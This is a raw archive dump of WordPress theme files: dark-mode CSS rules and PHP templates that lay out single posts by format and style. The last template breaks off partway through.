body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget.widget_archive ul li,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget-social a i,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget-social a span,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget-social.show-text a span,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget ul li,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .menu li,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget-social a i,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .penci-home-popular-posts,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg #respond textarea,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .wpcf7 textarea,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg #respond input,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type="date"],
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type="datetime"],
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type="datetime-local"],
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type="email"],
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type="month"],
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type="number"],
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type="password"],
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type="range"],
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type="search"],
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type="tel"],
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type="text"],
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type="time"],
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type="url"],
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type="week"],
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form select,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form textarea,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .wpcf7 input,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget_wysija input,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget select,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget ul ul,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget .tagcloud a,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg #wp-calendar tbody td,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg #wp-calendar thead th,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget input[type="text"],
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget input[type="email"],
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget input[type="date"],
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget input[type="number"],
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget input[type="search"],
body.pcdm-enable.pcdark-df.pclight-mode .widget input[type="password"],
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg form.pc-searchform input.search-input,
body.pcdm-enable.pcdark-df.pclight-mode .penci-vernav-enable.penci-vernav-poleft .penci-menu-hbg,
body.pcdm-enable.pcdark-df.pclight-mode .penci-vernav-enable.penci-vernav-poright .penci-menu-hbg,
body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg ul.sub-menu {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-df.pclight-mode .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow,
body.pcdm-enable.pcdark-df.pclight-mode .penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow,
body.pcdm-enable.pcdark-df.pclight-mode .penci-sidebar-content.style-14 .penci-border-arrow .inner-arrow:before,
body.pcdm-enable.pcdark-df.pclight-mode .penci-sidebar-content.style-13 .penci-border-arrow .inner-arrow,
body.pcdm-enable.pcdark-df.pclight-mode .penci-sidebar-content .penci-border-arrow .inner-arrow,
body.pcdm-enable.pcdark-df.pclight-mode .penci-sidebar-content.style-15 .penci-border-arrow .inner-arrow {
    color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-df.pclight-mode .penci-sidebar-content.style-15 .penci-border-arrow .inner-arrow,
body.pcdm-enable.pcdark-df.pclight-mode .penci-sidebar-content.style-15 .penci-border-arrow .inner-arrow,
body.pcdm-enable.pcdark-df.pclight-mode .penci-sidebar-content.style-15 .penci-border-arrow .inner-arrow {
    color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-df.pclight-mode .header-standard > h2 a {
    color: var(--pcheading-cl);
}
.penci-ver-dm-switcher .pc_dm_mode {
    display: flex;
    justify-content: center;
    margin: -5px 0 30px;
}
body.pcdm-enable.pcdark-mode .penci-menu-hbg-overlay,
body.pcdm-enable.pcdark-mode #close-sidebar-nav {
    background: rgba(24, 24, 24, 0.5);
}
@media only screen and (min-width: 960px) {
    body.pcdm-enable.pclight-mode #navigation.header-11 > .container {
        background: var(--pcbg-cl);
    }
}
body.pcdm-enable.pcdark-mode .show-search,
body.pcdm-enable.pcdark-mode .penci-enews-ticker.penci-topbar-trending, body.pcdm-enable.pcdark-mode .grid-overlay-meta .grid-header-box {
    background: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-video-nav {
    background: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .widget.penci_search_box_widget .penci-opened .penci-search-results-wrapper,
body.pcdm-enable.pcdark-mode .search-results-wrapper .penci-dropdown-results.penci-opened {
    -moz-box-shadow: 0 2px 3px rgba(255, 255, 255, 0.15);
    -webkit-box-shadow: 0 2px 3px rgba(255, 255, 255, 0.15);
    box-shadow: 0 2px 3px rgba(255, 255, 255, 0.15);
}
body.pcdm-enable.pcdark-mode .penci-patreon-badge-wrap svg [data-color="2"] {
    fill: #000;
}
body.pcdm-enable.pcdark-mode .widget .penci-buymeacoffee-badge-wrap svg path:last-child {
    fill: #fff;
}PK     N\(  (  &  template-parts/single-post-format2.phpnu [        <?php
$thumb_alt = $thumb_title_html = '';

if ( has_post_thumbnail() ) {
	$thumb_id         = get_post_thumbnail_id( get_the_ID() );
	$thumb_alt        = penci_get_image_alt( $thumb_id, get_the_ID() );
	$thumb_title_html = penci_get_image_title( $thumb_id );
}

$single_style        = penci_get_single_style();
$move_title_bellow   = get_theme_mod( 'penci_move_title_bellow' );
$enable_jarallax     = get_theme_mod( 'penci_enable_jarallax_single' );
$pmt_enable_jarallax = get_post_meta( get_the_ID(), 'penci_enable_jarallax_single', true );

if ( $pmt_enable_jarallax ) {
	$enable_jarallax = $pmt_enable_jarallax;
}

$entry_header = $single_style == 'style-21' ? 'entry-header-21' : 'entry-header';
$move_title_bellow = $single_style == 'style-21' ? false : $move_title_bellow;

$image_size = 'penci-single-full';

if ( in_array( $single_style, array( 'style-3', 'style-6', 'style-8', 'style-9', 'style-10', 'style-13' ) ) ) {
	$image_size = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'penci-full-thumb';
}

if ( penci_is_mobile() ) {
	$image_size = 'penci-masonry-thumb';
}

$sidebar_position = penci_get_posts_sidebar_class();

$div_special_wrapper = '';
if ( ! $move_title_bellow ) {
	$div_special_wrapper .= '<div class="';
	$div_special_wrapper .= 'standard-post-special_wrapper';
	if ( in_array( $single_style, array( 'style-5', 'style-7', 'style-11', 'style-12', 'style-21' ) ) ) {
		$div_special_wrapper .= ' container';
	}

	if ( 'two-sidebar' == $sidebar_position ) {
		$div_special_wrapper .= ' ' . $sidebar_position;
	}

	$div_special_wrapper .= '">';
}

$image_html = penci_get_featured_single_image_size( get_the_ID(), $image_size, $enable_jarallax, $thumb_alt );

?>
<?php if ( penci_get_post_format( 'link' ) || penci_get_post_format( 'quote' ) ) : ?>
	<?php
	$class_pimage_linkquote = 'standard-post-special post-image';
	if ( penci_get_post_format( 'quote' ) ) {
		$class_pimage_linkquote .= ' penci-special-format-quote';
	}
	if ( ! has_post_thumbnail() || get_theme_mod( 'penci_post_thumb' ) ) {
		$class_pimage_linkquote .= ' no-thumbnail';
	}

	if ( ! $move_title_bellow ) {
		$class_pimage_linkquote .= ' penci-move-title-above';
	}

	if ( $enable_jarallax ) {
		$class_pimage_linkquote .= ' penci-jarallax';
	}
	?>
<div class="<?php echo( $class_pimage_linkquote ); ?>">
	<?php
	if ( has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
		echo $image_html;
	}
	?>
	<?php echo $div_special_wrapper; ?>
    <div class="standard-content-special">
        <div class="format-post-box<?php if ( penci_get_post_format( 'quote' ) ) {
			echo ' penci-format-quote';
		} else {
			echo ' penci-format-link';
		} ?>">
            <span class="post-format-icon"><?php penci_fawesome_icon( 'fas fa-' . ( penci_get_post_format( 'quote' ) ? 'quote-left' : 'link' ) ); ?></span>
            <p class="dt-special">
				<?php
				if ( penci_get_post_format( 'quote' ) ) {
					$dt_content = get_post_meta( $post->ID, '_format_quote_source_name', true );
					if ( ! empty( $dt_content ) ): echo sanitize_text_field( $dt_content ); endif;
				} else {
					$dt_content = get_post_meta( $post->ID, '_format_link_url', true );
					if ( ! empty( $dt_content ) ):
						echo '<a href="' . esc_url( $dt_content ) . '" target="_blank">' . sanitize_text_field( $dt_content ) . '</a>';
					endif;
				}
				?>
            </p>
			<?php
			if ( penci_get_post_format( 'quote' ) ):
				$quote_author = get_post_meta( $post->ID, '_format_quote_source_url', true );
				if ( ! empty( $quote_author ) ):
					echo '<div class="author-quote"><span>' . sanitize_text_field( $quote_author ) . '</span></div>';
				endif;
			endif; ?>
        </div>
    </div>
	<?php
	if ( ! $move_title_bellow && 'style-8' != $single_style ) {
		get_template_part( 'template-parts/single', 'breadcrumb' );
	}
	if ( ! $move_title_bellow && has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
		get_template_part( 'template-parts/single', $entry_header );
	}
	?>
	<?php if ( ! $move_title_bellow ): ?></div><?php endif; ?>
    </div>

<?php elseif ( penci_get_post_format( 'gallery' ) ) : ?>

	<?php $images = get_post_meta( $post->ID, '_format_gallery_images', true ); ?>

	<?php if ( ! $move_title_bellow && has_post_thumbnail() ) : ?>
		<?php if ( ! get_theme_mod( 'penci_post_thumb' ) ) : ?>
            <div class="post-image <?php echo( ! $move_title_bellow ? ' penci-move-title-above' : '' ); ?> <?php echo( $enable_jarallax ? ' penci-jarallax' : '' ); ?>">
				<?php
				if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) && ! $enable_jarallax ) {
					$thumb_url = wp_get_attachment_url( get_post_thumbnail_id( $post->ID ) );
					echo '<a href="' . esc_url( $thumb_url ) . '" data-rel="penci-gallery-image-content">';
					echo $image_html;
					echo '</a>';
				} else {
					echo $image_html;
				}

				echo $div_special_wrapper;

				if ( ! $move_title_bellow && 'style-8' != $single_style ) {
					get_template_part( 'template-parts/single', 'breadcrumb' );
				}
				if ( ! $move_title_bellow && has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
					get_template_part( 'template-parts/single', $entry_header );
				}
				if ( ! $move_title_bellow ) {
					echo '</div>';
				}
				?>
            </div>
		<?php endif; ?>
	<?php elseif ( $images ) :
		$autoplay = ! get_theme_mod( 'penci_disable_autoplay_single_slider' ) ? 'true' : 'false';
		?>
        <div class="post-image">
            <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible"
                 data-auto="<?php echo $autoplay; ?>" data-lazy="true">
                <div class="swiper-wrapper">
					<?php foreach ( $images as $image ) : ?>

						<?php $the_image = wp_get_attachment_image_src( $image, $image_size ); ?>
						<?php $the_caption = get_post_field( 'post_excerpt', $image );
						$image_alt         = penci_get_image_alt( $image, get_the_ID() );
						$image_title_html  = penci_get_image_title( $image );
						?>
                        <div class="swiper-slide">
                            <figure>
								<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                                    <img class="penci-lazy" data-src="<?php echo esc_url( $the_image[0] ); ?>"
                                         alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
								<?php } else { ?>
                                    <img src="<?php echo esc_url( $the_image[0] ); ?>"
                                         alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
								<?php } ?>
								<?php if ( get_theme_mod( 'penci_post_gallery_caption' ) && $the_caption ): ?>
                                    <p class="penci-single-gallery-captions penci-single-gaformat-caption"><?php echo $the_caption; ?></p>
								<?php endif; ?>
                            </figure>
                        </div>
					<?php endforeach; ?>
                </div>
            </div>
        </div>
	<?php endif; ?>

<?php elseif ( penci_get_post_format( 'video' ) ) : ?>
	<?php
	Penci_Sodedad_Video_Format::show_video_embed( array(
		'post_id'             => $post->ID,
		'parallax'            => $enable_jarallax,
		'args'                => array( 'width' => '1920', 'height' => '1080' ),
		'show_title_inner'    => true,
		'move_title_bellow'   => $move_title_bellow,
		'div_special_wrapper' => $div_special_wrapper,
		'single_style'        => $single_style
	) );
	?>
<?php elseif ( penci_get_post_format( 'audio' ) ) : ?>
	<?php
	$class_pimage_audio = 'standard-post-image post-image audio';

	if ( ! has_post_thumbnail() || get_theme_mod( 'penci_post_thumb' ) ) {
		$class_pimage_audio .= ' no-thumbnail';
	}

	if ( $enable_jarallax ) {
		$class_pimage_audio .= ' penci-jarallax';
	}

	if ( ! $move_title_bellow ) {
		$class_pimage_audio .= ' penci-move-title-above';
	}

	?>
<div class="<?php echo $class_pimage_audio; ?>">
	<?php
	if ( has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
		echo $image_html;
	}
	?>
	<?php echo $div_special_wrapper; ?>
    <div class="audio-iframe">
		<?php $penci_audio = get_post_meta( $post->ID, '_format_audio_embed', true );
		$penci_audio_str   = substr( $penci_audio, - 4 ); ?>
		<?php if ( wp_oembed_get( $penci_audio ) ) : ?>
			<?php echo wp_oembed_get( $penci_audio ); ?>
		<?php elseif ( $penci_audio_str == '.mp3' ) : ?>
			<?php echo do_shortcode( '[audio src="' . esc_url( $penci_audio ) . '"]' ); ?>
		<?php else : ?>
			<?php echo $penci_audio; ?>
		<?php endif; ?>
    </div>
	<?php
	if ( ! $move_title_bellow && 'style-8' != $single_style ) {
		get_template_part( 'template-parts/single', 'breadcrumb' );
	}
	if ( ! $move_title_bellow && has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
		get_template_part( 'template-parts/single', $entry_header );
	}
	?>
	<?php if ( ! $move_title_bellow ): ?></div><?php endif; ?>
    </div>

<?php else : ?>

	<?php if ( has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) : ?>
        <div class="post-image <?php echo( ! $move_title_bellow ? ' penci-move-title-above' : '' ); ?>">
			<?php
			if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) && ! $enable_jarallax ) {
				$thumb_url = wp_get_attachment_url( get_post_thumbnail_id( $post->ID ) );
				echo '<a href="' . esc_url( $thumb_url ) . '" data-rel="penci-gallery-bground-content">';
				echo $image_html;
				echo '</a>';
			} else {

				echo '<div class="' . ( $enable_jarallax ? 'penci-jarallax' : '' ) . '">';
				echo $image_html;
				echo '</div>';
			}

			echo $div_special_wrapper;
			if ( ! $move_title_bellow && 'style-8' != $single_style ) {
				get_template_part( 'template-parts/single', 'breadcrumb' );
			}

			if ( ! $move_title_bellow && has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
				get_template_part( 'template-parts/single', $entry_header );
			}
			if ( ! $move_title_bellow ) {
				echo '</div>';
			}

			if ( get_the_post_thumbnail_caption() && get_theme_mod( 'penci_post_thumb_caption' ) && $move_title_bellow ) {
				echo '<span class="penci-featured-caption penci-fixed-caption">' . get_the_post_thumbnail_caption() . '</span>';
			}
			?>
        </div>
	<?php endif; ?>

<?php endif; ?>
PK     N\6D    "  template-parts/single-style-19.phpnu [        <?php
$sidebar_enable      = penci_single_sidebar_return();
$sidebar_position    = penci_get_posts_sidebar_class();
$sidebar_small_width = penci_single_smaller_content_enable();

// Check layout magazine
$single_magazine = 'container container-single penci-single-style-19 penci-single-smore container-single-fullwidth hentry';
if ( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ) {
	$single_magazine .= ' container-single-magazine';
}

// Check class main content
$class_container_single = 'container container-single penci-single-style-19 penci-single-smore';
if ( $sidebar_enable ) {
	$class_container_single .= ' penci_sidebar';
	$class_container_single .= ' ' . $sidebar_position;

	$single_magazine .= ' ' . $sidebar_position;
} else {
	$class_container_single .= ' penci_is_nosidebar';
	$single_magazine        .= ' penci_is_nosidebar';
}

if ( $sidebar_small_width ) {
	$class_container_single .= ' penci-single-smaller-width';
}

if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) ) {
	$class_container_single .= ' penci-enable-lightbox';
}

if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) ) {
	$class_container_single .= ' penci-enable-lightbox';
}
$post_format = get_post_format();

$post_format      = get_post_format();
$show_post_format = true;
if ( get_theme_mod( 'penci_post_thumb' ) && ! in_array( $post_format, array( 'link', 'quote', 'gallery', 'video' ) ) ) {
	$class_container_single .= ' penci-single-pheader-noimg';
	$show_post_format       = false;
}

$postID            = get_the_ID();
$current_permalink = get_permalink( $postID );
$current_title     = get_the_title( $postID );
$infinite_load     = get_theme_mod( 'penci_loadnp_posts' ) ? get_theme_mod( 'penci_loadnp_posts' ) : false;
$prev_post_id      = $prev_post_url = $prev_post_title = $wrap_inficlass = $flag_infi = '';
$data_infiads      = get_theme_mod( 'penci_loadnp_ads' ) ? '<div class="penci-single-infiads">' . get_theme_mod( 'penci_loadnp_ads' ) . '</div>' : '';
if ( get_theme_mod( 'penci_loadnp_posts' ) ) {
	$prev_post = penci_get_next_prev_posts();
	$flag_infi = 'no_data';
	if ( ! empty( $prev_post ) && $prev_post != null && $prev_post != '' ) {
		$prev_post_id    = $prev_post->ID;
		$prev_post_url   = get_permalink( $prev_post_id );
		$prev_post_title = get_the_title( $prev_post_id );
		$wrap_inficlass  = ' penci-single-infiscroll';
		$flag_infi       = 'has_data';
	}
}
?>
    <div class="penci-single-wrapper<?php echo $wrap_inficlass; ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $data_infiads ) {
		echo ' data-infiads="' . htmlentities( $data_infiads ) . '"';
	} ?>>
        <div class="penci-single-block<?php if ( $flag_infi == 'no_data' ) {
			echo ' penci-single-infiblock-end';
		} ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) ): ?> data-prev-url="<?php echo esc_url( $prev_post_url ); ?>" data-current-url="<?php echo esc_url( $current_permalink ); ?>" data-post-title="<?php echo esc_attr( $current_title ); ?>" data-edit-post="<?php echo get_edit_post_link( $postID ); ?>" data-postid="<?php echo $postID; ?>"<?php endif; ?>>
            <div class="penci-single-pheader <?php echo( $single_magazine ); ?>">
				<?php
				if ( have_posts() ) :
					while ( have_posts() ) : the_post();
						if ( ! get_theme_mod( 'penci_move_title_bellow' ) ) {
							get_template_part( 'template-parts/single', 'breadcrumb' );
							get_template_part( 'template-parts/single', 'entry-header' );
						}
					endwhile;
				endif;
				?>
            </div>
            <div class="<?php echo $class_container_single; ?>">
                <div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
                    <div class="theiaStickySidebar">
						<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
							<?php get_template_part( 'template-parts/single', 'post-format' ); ?>
							<?php penci_set_post_views( $post->ID ); ?>
							<?php get_template_part( 'template-parts/single', 'content-main' ); ?>
						<?php endwhile; endif; ?>
                    </div>
                </div>
				<?php
				if ( get_theme_mod( 'penci_single_delayed_sidebar' ) && penci_is_mobile() ) {
					?>
                    <div data-id="section-sidebar-<?php the_ID(); ?>"
                         data-url="<?php echo esc_url( add_query_arg( [ 'penci_get_delayed_sections' => 'sidebar' ], get_permalink() ) ); ?>"
                         class="pcfb-single-sections-delayed pc-content-delayed"></div>
					<?php
				} else {
					get_template_part( 'template-parts/single', 'sidebar' );
				}
				?>
            </div>
			<?php do_action( 'penci_action_after_post_content' ); ?>
        </div>
    </div>
<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $flag_infi != 'no_data' ) { ?>
    <div class="penci-ldsingle">
        <div class="penci-ldspinner">
            <div class="bounce1"></div>
            <div class="bounce2"></div>
            <div class="bounce3"></div>
        </div>
    </div>
<?php } ?>
<?php get_footer(); ?>PK     N\'  '  !  template-parts/single-content.phpnu [        <?php
$smartlists_enable = get_post_meta( get_the_ID(), 'pcsml_smartlists_enable', true );
$smartlists_style  = get_post_meta( get_the_ID(), 'pcsml_smartlists_style', true );
$smartlists_h      = get_post_meta( get_the_ID(), 'pcsml_smartlists_h', true );
$smartlists_order  = get_post_meta( get_the_ID(), 'pcsml_smartlists_order', true );

if ( 'yes' == $smartlists_enable ) {
	$content = get_the_content();
	$content = apply_filters( 'the_content', $content );
	$content = str_replace( ']]>', ']]&gt;', $content );
	remove_filter( 'the_content', 'penci_insert_post_content_ads' );
	add_filter( 'penci_toc_maybe_apply_the_content_filter', function () {
		return false;
	}, 10 );
	$smartlists_content = penci_smartlists( [
		'style'        => $smartlists_style,
		'content'      => $content,
		'order'        => $smartlists_order,
		'h'            => $smartlists_h,
		'sm_title_tag' => $smartlists_h,
	] );
	if ( $smartlists_content ) {
		echo '<div class="pcsml-el pcsml-customized-ver scmchck">' . $smartlists_content . '</div>';
	}
} else {
	the_content();
}
?>PK     N\QFb    "  template-parts/single-style-11.phpnu [        <?php
$sidebar_enable      = penci_single_sidebar_return();
$sidebar_position    = penci_get_posts_sidebar_class();
$sidebar_small_width = penci_single_smaller_content_enable();

// Check layout magazine
$single_magazine = 'container-single penci-single-style-11 penci-single-smore container-single-fullwidth hentry';
if ( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ) {
	$single_magazine .= ' container-single-magazine';
}

// Check class main content
$class_container_single = 'container container-single penci-single-style-11 penci-single-smore';
if ( $sidebar_enable ) {
	$class_container_single .= ' penci_sidebar';
	$class_container_single .= ' ' . $sidebar_position;
} else {
	$class_container_single .= ' penci_is_nosidebar';
	$single_magazine        .= ' penci_is_nosidebar';
}

if ( $sidebar_small_width ) {
	$class_container_single .= ' penci-single-smaller-width';
}

if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) ) {
	$class_container_single .= ' penci-enable-lightbox';
}

$post_format      = get_post_format();
$show_post_format = true;
if ( get_theme_mod( 'penci_post_thumb' ) && ! in_array( $post_format, array( 'link', 'quote', 'gallery', 'video' ) ) ) {
	$class_container_single .= ' penci-single-pheader-noimg';
	$show_post_format       = false;
}

$postID            = get_the_ID();
$current_permalink = get_permalink( $postID );
$current_title     = get_the_title( $postID );
$infinite_load     = get_theme_mod( 'penci_loadnp_posts' ) ? get_theme_mod( 'penci_loadnp_posts' ) : false;
$prev_post_id      = $prev_post_url = $prev_post_title = $wrap_inficlass = $flag_infi = '';
$data_infiads      = get_theme_mod( 'penci_loadnp_ads' ) ? '<div class="penci-single-infiads">' . get_theme_mod( 'penci_loadnp_ads' ) . '</div>' : '';
if ( get_theme_mod( 'penci_loadnp_posts' ) ) {
	$prev_post = penci_get_next_prev_posts();
	$flag_infi = 'no_data';
	if ( ! empty( $prev_post ) && $prev_post != null && $prev_post != '' ) {
		$prev_post_id    = $prev_post->ID;
		$prev_post_url   = get_permalink( $prev_post_id );
		$prev_post_title = get_the_title( $prev_post_id );
		$wrap_inficlass  = ' penci-single-infiscroll';
		$flag_infi       = 'has_data';
	}
}
?>
    <div class="penci-single-wrapper<?php echo $wrap_inficlass; ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $data_infiads ) {
		echo ' data-infiads="' . htmlentities( $data_infiads ) . '"';
	} ?>>
        <div class="penci-single-block<?php if ( $flag_infi == 'no_data' ) {
			echo ' penci-single-infiblock-end';
		} ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) ): ?> data-prev-url="<?php echo esc_url( $prev_post_url ); ?>" data-current-url="<?php echo esc_url( $current_permalink ); ?>" data-post-title="<?php echo esc_attr( $current_title ); ?>" data-edit-post="<?php echo get_edit_post_link( $postID ); ?>" data-postid="<?php echo $postID; ?>"<?php endif; ?>>
            <div class="penci-single-pheader <?php echo( $single_magazine ); ?>">
				<?php
				if ( have_posts() ) :
					while ( have_posts() ) : the_post();
						echo '<div class="container' . ( 'two-sidebar' == $sidebar_position ? ' two-sidebar' : '' ) . '">';
						get_template_part( 'template-parts/single', 'breadcrumb-inner' );
						get_template_part( 'template-parts/single', 'entry-header' );
						echo '</div>';
					endwhile;
				endif;
				?>
            </div>
            <div class="<?php echo $class_container_single; ?>">
                <div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
                    <div class="theiaStickySidebar">
						<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
							<?php penci_set_post_views( $post->ID ); ?>
							<?php get_template_part( 'template-parts/single', 'content-main' ); ?>
						<?php endwhile; endif; ?>
                    </div>
                </div>
				<?php
				if ( get_theme_mod( 'penci_single_delayed_sidebar' ) && penci_is_mobile() ) {
					?>
                    <div data-id="section-sidebar-<?php the_ID(); ?>"
                         data-url="<?php echo esc_url( add_query_arg( [ 'penci_get_delayed_sections' => 'sidebar' ], get_permalink() ) ); ?>"
                         class="pcfb-single-sections-delayed pc-content-delayed"></div>
					<?php
				} else {
					get_template_part( 'template-parts/single', 'sidebar' );
				}
				?>
            </div>
			<?php do_action( 'penci_action_after_post_content' ); ?>
        </div>
    </div>
<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $flag_infi != 'no_data' ) { ?>
    <div class="penci-ldsingle">
        <div class="penci-ldspinner">
            <div class="bounce1"></div>
            <div class="bounce2"></div>
            <div class="bounce3"></div>
        </div>
    </div>
<?php } ?>
<?php get_footer(); ?>PK     N\1"  "  "  template-parts/single-style-13.phpnu [        <?php
$sidebar_enable = penci_single_sidebar_return();
$sidebar_position = penci_get_posts_sidebar_class();
$sidebar_small_width = penci_single_smaller_content_enable();

// Check layout magazine
$single_magazine = 'container-single penci-single-style-13 penci-single-smore container-single-fullwidth hentry  penci-header-text-white';
if( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ) {
	$single_magazine .= ' container-single-magazine';
}

// Check class main content
$class_container_single = 'container container-single penci-single-style-13 penci-single-smore';
if ( $sidebar_enable ){
	$class_container_single .= ' penci_sidebar';
	$class_container_single .= ' ' . $sidebar_position;
} else {
	$class_container_single .= ' penci_is_nosidebar';
	$single_magazine .= ' penci_is_nosidebar';
}

if( $sidebar_small_width ) {
	$class_container_single .= ' penci-single-smaller-width';
}

if( ! get_theme_mod( 'penci_disable_lightbox_single' ) ){
	$class_container_single .= ' penci-enable-lightbox';
}

$post_format = get_post_format();
$show_post_format = true;
if( get_theme_mod( 'penci_post_thumb' ) && ! in_array( $post_format, array( 'link', 'quote','gallery','video' ) )  ) {
	$class_container_single .= ' penci-single-pheader-noimg';
	$show_post_format = false;
}

if ( get_the_post_thumbnail_caption() && get_theme_mod( 'penci_post_thumb_caption' ) ) {
	$single_magazine .= ' penci-show-ft-caption';
}

$postID = get_the_ID();
$current_permalink = get_permalink( $postID );
$current_title = get_the_title( $postID );
$infinite_load  = get_theme_mod( 'penci_loadnp_posts' ) ? get_theme_mod( 'penci_loadnp_posts' ) : false;
$prev_post_id = $prev_post_url = $prev_post_title = $wrap_inficlass = $flag_infi = '';
$data_infiads = get_theme_mod( 'penci_loadnp_ads' ) ? '<div class="penci-single-infiads">' . get_theme_mod( 'penci_loadnp_ads' ) . '</div>' : '';
if( get_theme_mod( 'penci_loadnp_posts' ) ){
	$prev_post = penci_get_next_prev_posts();
	$flag_infi = 'no_data';
	if( ! empty( $prev_post ) && $prev_post != null && $prev_post != '' ) {
		$prev_post_id = $prev_post->ID;
		$prev_post_url = get_permalink( $prev_post_id );
		$prev_post_title = get_the_title( $prev_post_id );
		$wrap_inficlass = ' penci-single-infiscroll';
		$flag_infi = 'has_data';
	}
}
?>

<div class="penci-single-wrapper<?php echo $wrap_inficlass; ?>"<?php if( get_theme_mod( 'penci_loadnp_posts' ) && $data_infiads ) echo ' data-infiads="' . htmlentities( $data_infiads ) . '"'; ?>>
